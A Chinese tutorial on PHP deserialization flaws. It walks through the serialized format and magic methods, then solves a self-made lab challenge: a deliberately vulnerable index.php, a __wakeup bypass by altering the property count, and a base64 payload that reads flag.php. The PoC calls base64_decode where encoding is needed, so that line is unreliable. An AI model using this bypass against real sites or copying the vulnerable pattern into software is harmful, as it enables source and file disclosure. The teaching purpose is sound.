本文深入剖析 PHP 序列化与反序列化漏洞的技术原理。内容涵盖序列化数据结构拆解、魔术方法(Magic Methods)在漏洞触发中的核心角色,并结合 flag.php 与 index.php 进行实际案例测试与绕过技巧解析。
- 文章以客观、严谨的技术视角,协助资安研究员与开发者掌握反序列化漏洞的成因与潜在风险,适合具备 Web 安全基础的专业人员阅读。
文章目录
-
- 基本概念
- 序列化
- 反序列化
- 如何造成反序列化漏洞?
-
- [1. 什么是魔术方法(Magic Methods)?](#1. 什么是魔术方法(Magic Methods)?)
- [2. 为什么需要这些函数才能成功触发 XSS?](#2. 为什么需要这些函数才能成功触发 XSS?)
- [3. 需要魔术方法的原因如下:](#3. 需要魔术方法的原因如下:)
- 反序列化漏洞案例测试
- 总结
基本概念
一、什么是序列化与反序列化?
序列化(serialize) ,是把程序中的对象/数据,转换成可以存储或传输的字符串格式。就像把一本书压缩成一份电子文档,方便保存和传递。
反序列化(unserialize),则是这个过程的逆操作:把字符串还原成程序里的对象,让程序可以重新使用这些数据。
二、为什么会产生反序列化漏洞?
序列化本身只是一种数据格式转换,并不自带漏洞。
漏洞的根源在于:当反序列化的输入内容被用户可控时,攻击者可以构造恶意的序列化字符串,让程序还原出一个精心伪造的对象。
在还原对象的过程中,程序会自动调用对象中的一些"魔术方法"(比如PHP里的__wakeup、__destruct等)。如果这些方法里存在危险操作(比如执行命令、读取文件),攻击者就能通过触发这些方法,实现代码执行、文件读取甚至控制服务器的目的。
简单来说,就是用户可控的反序列化输入 + 危险的魔术方法逻辑,共同造成了安全风险。
三、漏洞的核心风险
- 攻击者无需直接调用危险函数,只需通过反序列化触发目标对象的魔术方法,就能执行恶意逻辑;
- 可能导致远程代码执行、任意文件读写、数据库泄露等严重后果;
- 这类漏洞往往隐藏较深,常规的输入过滤难以防御。
序列化
这里我们给大家看看什么是序列化?
php
<?php
class S
{
var $test = "PhpUnserialize";
// 构造函数:对象创建时自动调用
function __construct()
{
echo "$this->test";
}
}
# 创建一个新类
$c = new S();
# 进行序列化
$serialized = serialize($c);
echo "<hr>";
echo $serialized;
结果如下:

结构拆解
我们可以把它拆成一个层层嵌套的结构:
O:1:"S":1::表示这是一个对象(Object) ,类名长度为1,类名叫"S",该对象里包含1个属性。{...}:花括号里面包裹的就是这个属性的具体内容(键值对)。- 键(属性名) :
s:4:"test";------ 表示一个长度为4的字符串(String) ,变量名叫"test"。 - 值(属性值) :
s:14:"PhpUnserialize";------ 表示一个长度为14的字符串(String) ,内容为"PhpUnserialize"。
序列化的属性
序列化也会把变量的属性存储到字符串⾥:
php
<?php
class C1{
public $public = "public_string";
private $private="private_string";
Protected $Protected="Protected_string";
}
$c = new C1();
echo serialize($c);
file_put_contents('ser.txt', serialize($c));
具体结果如下:

bash
O:2:"C1":3:{s:6:"public";s:13:"public_string";s:11:"C1private";s:14:"private_string";s:12:"*Protected";s:16:"Protected_string";}
简单解释一下:
(1)O:2:"C1":Object 对象+类名长度+类名(即这是一个 C1 类对象)
(2):3:{:对象中共有 3 个成员属性
(3)s:6:"public";s:13:"public_string";:属性名(长度6):public + 属性值(长度13):public_string
(4)以此类推;
各属性显示的效果

var默认就是 public 属性;- private 是
\x00类名\x00变量名 在⽹⻚是不显示的; - protected
\00*\00变量名在⽹⻚上也是显示不出来符号的,默认是空⽩;

展示效果如上;
反序列化
构造恶意的序列化数据
反序列化的数据本质上来说是没有危害的,⽤户可控数据进⾏反序列化是存在危害的,反序列化的危害,关键还是在于可控或不可控。

如果 $test 对象可控,那么类在实例化的时,函数自动调用(值会传⼊ $this->test );
导致 echo 内容时,直接输出会造成 xss 漏洞。
比如构造下述代码:
php
<?php
class S{
var $test = "<script>alert('Hello world!');</script>";
// 构造函数:对象创建时自动调用
function __construct(){
echo $this->test;
}
}
$c = new S();
echo serialize($c);
执行后得到的序列化字符串:
bash
<script>alert('Hello world!');</script>O:1:"S":1:{s:4:"test";s:39:"<script>alert('Hello world!');</script>";}

如何造成反序列化漏洞?
接下来,我们要达成的目标:
- 这里得到了序列化的值,想要模拟输入反序列化数据,造成xss漏洞,应该如何做呢?
- 这里我们需要用到一些
反序列化⾥的魔法函数来进行调用;
--
1. 什么是魔术方法(Magic Methods)?
在 PHP 中,魔术方法是一组以双下划线(__)开头的特殊函数 。它们不需要你手动去调用(比如不用写 $obj->__destruct()),而是在特定的时机或满足特定条件时,由 PHP 引擎自动触发执行。
常见的魔术方法有:
__construct()当一个对象创建时被调用__destruct()当一个对象销毁前被调用__sleep()在对象被序列化前被调用__wakeup将在反序列化之后立即被调用__toString当一个对象被当作字符串使用时被调用__get(), __set()` 当调用或设置一个类及其父类方法中未定义的属性时__invoke()调用函数的方式调用一个对象时的回应方法- **
__call和__callStatic**前者是调用类不存在的方法时执行,而后者是调用类不存在的静态方式方法时执行。
2. 为什么需要这些函数才能成功触发 XSS?
简单来说:因为反序列化本身只负责"还原数据",而不负责"执行代码"。
如果你把序列化字符串传给 unserialize(),PHP 只会在内存中默默地把 S 这个对象重新拼装出来,把恶意代码 <script>alert(1);</script> 赋值给 $test 变量。
3. 需要魔术方法的原因如下:
- 寻找"执行管道" :
在反序列化过程中,由于对象被重新创建或销毁,PHP 会自动去调用该类中的__wakeup()或__destruct()。 - 顺藤摸瓜触发漏洞 :
如果这两个自动运行的函数里刚好包含了echo、print或者文件包含、代码执行等敏感操作(比如我们故意写的echo $this->test;),那么存放在变量里的恶意代码就会被顺带执行。
这里概念说的再多,也没有上手做一遍来得实在;
反序列化漏洞案例测试
首先我们手动构造一道题目,具体代码如下:
flag.php
bash
<?php
$flag = "PHP unserialize Test,yes!";
想要直接访问,得到的是空白页面;

index.php
php
<?php
class SoFun {
protected $file = __FILE__;
function __destruct() {
if (!empty($this->file)) {
if(strchr($this->file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
} else {
die('Wrong filename.');
}
}
function __wakeup() {
$this-> file='index.php';
}
public function __toString() {
return '';
}
}
if (!isset($_GET['file'])) {
show_source(__FILE__);
} else {
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
?>
- 漏洞类型:PHP 反序列化漏洞
- 核心考点:
__wakeup()绕过、反序列化魔术方法调用链、文件读取限制绕过
得到页面如下:

绕过方法
| 代码部分 | 作用说明 | 安全影响 |
|---|---|---|
$_GET['file'] + base64_decode() + unserialize() |
接收用户可控参数,解码后直接反序列化 | 核心攻击入口,可构造恶意序列化数据 |
__destruct() |
对象销毁时自动调用,拼接路径并调用 show_source() |
实现文件读取的关键方法,可泄露源码 |
strchr($this->file,"\\\\")===false && strchr($this->file, '/')===false |
禁止路径中出现 / 和 \\ |
限制目录穿越,但允许直接读取同目录文件 |
__wakeup() |
反序列化时自动调用,强制将 $file 重置为 index.php |
对直接利用造成阻碍,需绕过 |
漏洞梳理:
- 用户可控的反序列化入口:$_GET'file' 完全可控,直接传入 unserialize(),攻击者可构造任意对象。
- 危险魔术方法调用:__destruct() 自动触发 show_source(),实现任意同目录文件读取。
- __wakeup() 防护机制:反序列化时强制重置 $file,阻止直接读取 flag.php。
具体流程图如下:

- 因为
__wakeup执行的时候,固定执行index.php页面,所以这里需要绕过该函数;- 绕过方法:修改对象属性数量
- 原序列化串:
O:5:"SoFun":1:{s:7:"\00*\00file";s:8:"flag.php";} - 修改后:
O:5:"SoFun":2:{s:7:"\00*\00file";s:8:"flag.php";}
- 因为index.php是先将用户输入Base64解码------>反序列化;
- 构造的poc顺序反过来即可;
poc.php代码
php
<?php
class SoFun{
protected $file='flag.php';
}
$obj=new SoFun();
$ser = serialize($obj);
echo $ser; # O:5:"SoFun":1:{s:7:" * file";s:8:"flag.php";}
# 修改属性数量,绕过wakeup
$ser = str_replace('O:5:"SoFun":1:','O:5:"SoFun":2:',$ser);
echo base64_decode($ser);
得到结果:

bash
Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
随后回到index.php,输入如下payload:/index.php/?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
成功得到结果:

总结
本文深入剖析 PHP 序列化与反序列化漏洞的技术原理。内容涵盖序列化数据结构拆解、魔术方法(Magic Methods)在漏洞触发中的核心角色,并结合 flag.php 与 index.php 进行实际案例测试与绕过技巧解析。
文章以客观、严谨的技术视角,协助资安研究员与开发者掌握反序列化漏洞的成因与潜在风险,适合具备 Web 安全基础的专业人员阅读。